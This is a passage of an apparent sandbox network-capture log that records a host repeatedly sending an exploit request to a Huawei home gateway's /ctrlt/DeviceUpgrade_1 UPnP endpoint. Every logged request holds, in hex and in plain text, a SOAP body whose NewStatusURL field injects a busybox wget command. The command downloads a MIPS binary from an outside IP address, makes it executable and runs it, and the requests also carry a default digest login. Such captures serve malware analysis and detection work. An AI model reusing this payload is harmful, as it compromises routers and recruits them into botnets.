44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:36.460525036 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:51.596527100 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:21.868587971 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.20	33968	156.224.10.150	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:25.850191116 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:27.348546028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:29.152548075 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:32.764643908 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:39.980581999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:54.412611961 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
